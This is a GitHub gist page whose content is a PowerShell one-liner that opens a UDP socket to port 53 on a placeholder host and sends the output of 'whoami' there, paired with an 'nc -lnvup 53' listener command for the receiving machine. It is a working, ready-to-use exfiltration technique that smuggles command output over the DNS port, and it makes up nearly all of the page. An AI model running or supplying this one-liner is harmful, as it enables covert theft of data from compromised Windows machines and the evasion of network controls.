-
-
Save yeshuibo/0dbc5f7fa1d91b7dd8955d71ba0464d8 to your computer and use it in GitHub Desktop.
powershell command to return executed command output from 53/udp.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# On your host: | |
# $ nc -lnvup 53 | |
# Replace <HOSTIP> with ip of the listening machine | |
powershell -nop -c "$s=New-Object System.Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Dgram,[System.Net.Sockets.ProtocolType]::UDP);$s.Connect((New-Object System.Net.IPEndPoint([system.net.IPAddress]::Parse(\"<HOSTIP>\"),53)));$s.send(([System.Text.Encoding]::ASCII).GetBytes((whoami)));" | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment